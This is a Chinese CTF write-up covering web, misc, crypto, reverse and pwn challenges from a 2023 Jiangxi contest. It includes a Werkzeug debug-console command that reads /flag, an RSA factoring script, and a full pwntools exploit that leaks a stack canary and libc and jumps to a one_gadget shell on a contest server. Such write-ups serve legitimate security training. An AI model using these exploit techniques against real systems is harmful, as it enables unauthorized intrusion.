2023年江西省振兴杯个人赛wp

admin 2023年12月4日00:52:52评论96 views字数 6444阅读21分28秒阅读模式

一、web类

1、Web 第一题

通过扫描获取到该网站存在git泄露:

2023年江西省振兴杯个人赛wp

使用工具将git源码copy一份到本地:

2023年江西省振兴杯个人赛wp

查看git日志,看到里面有一个add flag txt:

2023年江西省振兴杯个人赛wp

那就在使用查看一下这个日志的变化情况,里面就有flag:

2023年江西省振兴杯个人赛wp

2、Web 第三题

访问目录获取pin /get_file/app.log

2023年江西省振兴杯个人赛wp 

访问控制台/console,用获得的pin码进行登录

2023年江西省振兴杯个人赛wp

 执行命令,获得flag

__import__("os").popen('cat /flag').read() 

2023年江西省振兴杯个人赛wp

二、misc

1、misc 第一题

导出流量以http的形式导出,然后

2023年江西省振兴杯个人赛wp 

看到里面有访问hack.php文件

2023年江西省振兴杯个人赛wp 

然后以hack.php作为关键字过滤一下:http contains "hack.php"

2023年江西省振兴杯个人赛wp 

然后在一个个看,看到了一串base64的编码的字符 

2023年江西省振兴杯个人赛wp

base64解密得到flag!

2023年江西省振兴杯个人赛wp

2、misc第二题

打开流量包,发现里面有一些dns的请求包,因为这不常见,所以过滤一下dns的包 

2023年江西省振兴杯个人赛wp

得到如下流量

2023年江西省振兴杯个人赛wp

发现dns的域名中带有base这个字段,过滤一下

2023年江西省振兴杯个人赛wp

在将文件导出为txt文件,然后放到kali上进行处理,使用如下命令进行拼接:

cat 1.txt |grep "Standard query"|awk -F "A" '{print $2}'|sed 's/base//g'|awk -F "." '{print $1}'|awk '!seen[$0]++'|tr 'n' '@'|tr ' ' '@'|sed "s/@//g"

然后将获得的字符串进行base64解码,得到结果:

2023年江西省振兴杯个人赛wp

三、crypto类

1、crypto 第一题

解题代码如下:

#from flag import flagdef encrypt(x, y):key='zxb'result=''for i in range(len(x)):result+=chr(ord(x[i])^ord(y[i])^ord(key[i%3]))return result#x = flag#y = flag[1:] + flag[0]enc = open('flag.enc', 'rb')x=enc.read()print(x)enc.close()print(encrypt('flag','lag{'))print(encrypt('0flag','flag{'))print(encrypt('00flag','0flag{'))flag='ag{'i=32while i<=44:flag+=encrypt(flag,flag[1:]+chr(x[i]))[-1]i+=1print('fl'+flag)

2023年江西省振兴杯个人赛wp

执行获得flag,先找到flag的位置,用补0去找找到ro|d位置去推下一位,最后手推出flag

 2、crypto第二题

1)观察题目:给定的 Python 脚本中使用了 RSA 加密,其中包含了两个随机生成的 1024 位素数,以及一个异或操作后的泄漏值。加密后的密文和其他参数都被保存在 output.txt 文件中。

2)关键观察:异或操作 (p ^ q) & ((1 << 800) - 1) 泄漏了部分信息。通过这个泄漏值和 RSA 加密中的其他参数,可以尝试还原素数 p 和 q。

3、还原 p 和 q:利用异或的性质,我们可以尝试找到满足 (p ^ q) & ((1 << 800) - 1) 的 p 和 q。通过编写代码,我们可以在有限的时间内找到可能的 p 值。在这里,使用了多项式环的方法,生成多项式并找到其根。

4、解密密文:找到 p 和 q 后,计算 RSA 的私钥 d,并使用密文解密得到明文。

5、获得 Flag:得到明文后,即为题目所求的 Flag。

详细步骤和代码:

1、使用异或泄漏值 (p ^ q) & ((1 << 800) - 1) 和 RSA 加密中的其他参数,通过编2、写代码找到可能的 p 值。

3、利用找到的 p,计算得到 q,然后计算 RSA 的私钥 d。

4、使用得到的 d 解密密文,获得明文。

5、得到明文后,即为 Flag。

from Crypto.Util.number import long_to_bytesfrom sage.all import *e = 65537n = 15571235426797939539238831633247703697409215642831362718146066385417021399103592649626632712024314917817471913939626433520575953306292197338982465585231726225691523482332855007581046878858859892738287906751603097287292123432184264315236703956440181898240812707048906540935557847459938834006517112306094162817074984718655862387364938057878492284440744016546443775531916167164017470033683394275914057901191912284384121493630109154926516069366062089783088439732169772370370955294590903435838430320194003869373124126574176180627081544221636132143905441920473191061061461409407547427997166908876273698276541130678984899303c = 11410349198192402083731025358124670205298762156812742512455806430945720053501248573549000565669379087195952270760749370073167203051546900914096995321278405720220367427519939638116382433595807325494197693420378893656116540927023043865164328614746414479628014540017033577967693193978113818125984134421120761946747105183198057647052506266535688704007423583060833596105939484423152668717114112856314424069195220194470093254307436153736407926031038716511515018884928576377289853802156015456424197355710062631887029663480146136538261678824501076415658065918045730425523209518075212493675750467401967567713964871622654517929x = 2391766340580872396075853116060954790369153414025348183898792053278577108869816452176679906799250067017630058347039968502218692998106913594566891267374934074656997523077504385902187178779959674864970574631185410074159953449193378952686076390def findp(p, rp):l = len(p)if l == 800:rp.append(int(p, 2))else:pp = int(p, 2)qq = (x ^ pp) % (2 ** l)if pp * qq % (2 ** l) == n % (2 ** l):findp('1' + p, rp)findp('0' + p, rp)rp = []findp('1', rp)for i in range(len(rp)):RP.<x> = PolynomialRing(Zmod(n))f = pow(2, 800) * x + rp[i]f = f.monic()root = f.small_roots(X=2^230, beta=0.4)if root:p = rp[i] + pow(2, 800) * int(root[0])q = n // pif p * q == n:breakphi = (p-1) * (q-1)d = inverse_mod(e, phi)m = pow(c, d, n)flag = long_to_bytes(m).decode('utf-8')print("Possible p:", p)print("Possible q:", q)print("Private key d:", d)print("Decrypted message:", flag) Possible p: 149487544519440623609568980783461396890827381199697356199443983163636934811386770838907082712844190736357520434993411407421797031029605717270256676944479826913866336806550353649460388156054134368384789183381139793509371221991930823711577983300382313309193849146664362042549007245815522226700739531885272162943Possible q: 104086704947992532317429408565278795860204381083027546122456922754193937427366865774765008972485316436309577496066923661185211035959388847866491062810440131219625516440791367362010352875509849113478448806674810043248141194172598055131214197010799310663570086043569330176798120751458258226230684285746879241Private key d: 96811978547275825310458525588087064300918086244015623521847218926376417451257272422939942606233094450920782684416650405989489358156914915700370805420514848010531229958082679978904024063375304335353378706630100864012592980884961841294824507492781287946222662210303667264015090776132211979276478672678182657Decrypted message: flag{a20a5a7eb490770447d59f291e71930e}

通过 Python 脚本中使用SageMath 的功能,通过生成多项式并找到其根的方式还原了 p 和 q。接着计算 RSA 的私钥 d,最终解密密文得到 Flag!flag{a20a5a7eb490770447d59f291e71930e}'。

四、reverse类

reverse第一题

打开看到主函数逻辑

2023年江西省振兴杯个人赛wp

异或运算,解出来是假flag,后面看到前面有一个TLS函数

2023年江西省振兴杯个人赛wp

对一段数据进行了处理,大概猜测是SMC,动态调试,解密真正的代码段:

2023年江西省振兴杯个人赛wp

2023年江西省振兴杯个人赛wp

函数打开文件,经过一串加密,得到加密数据,最后和v11比较,编写脚本:

def x(a1, a2):return ~a2 & ~a1v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]v12 = [0] * 32for i in range(19):for j in range(200):v16 = x(j, i)v17 = x(i, i)v1 = jv18 = v1v2 = x(v1, v1)v3 = x(v2, v17)v19 = x(v3, v16) - 1v20 = x(j, i)v21 = x(i, i)v4 = jv22 = v4v5 = x(v4, v4)v6 = x(v5, v21)v7 = x(v6, v20)v12[i] = x((v7 - 1), v19)if v12[i] == v25[i]:print(chr(j), end='')print()

五、pwn类

pwn第一题

泄露canary后,发现栈溢出漏洞,利用rop打印出putsgot表数据,泄露libc基地址,并返回到main函数,第二次直接返回到libconegadget地址。

from pwn import *#from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')#context.terminal = ['tmux','splitw','-h']filename = './pwn'debug = 0ip = '111.74.9.131'port = 18008if debug:p = process(filename)else:p  = remote(ip,port)ru = lambda a:     p.recvuntil(a)r = lambda n:     p.recv(n)sla = lambda a,b:   p.sendlineafter(a,b)sa = lambda a,b:   p.sendafter(a,b)sl = lambda a:     p.sendline(a)s = lambda a:     p.send(a)def inter() : p.interactive()def debu(cmd=''):gdb.attach(p,cmd)pause()def get_addr():return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sysbin(libc_base,libc):return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) :return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)#debu('b *0x4007E8')s(b'a'*0x49)ru(b'a'*0x49)canary = u64(r(0x7).rjust(8, b'x00'))print('canary: ' , hex(canary))payload = b'a'*0x48 + p64(canary) + p64(0x0)+p64(0x400853) + p64(0x601018) + p64(0x400580)+ p64(0x40072F)sla(b'overflow!n',payload)leak = get_addr()-0x80aa0print('leak: ', hex(leak))s(b'a'*8)payload = b'a'*0x48 + p64(canary) + p64(0x0)+p64(leak+0x4f3d5)sla(b'overflow!n',payload)inter()

2023年江西省振兴杯个人赛wp


原文始发于微信公众号(大余安全):2023年江西省振兴杯个人赛wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月4日00:52:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023年江西省振兴杯个人赛wphttp://cn-sec.com/archives/2264549.html

发表评论

匿名网友 填写信息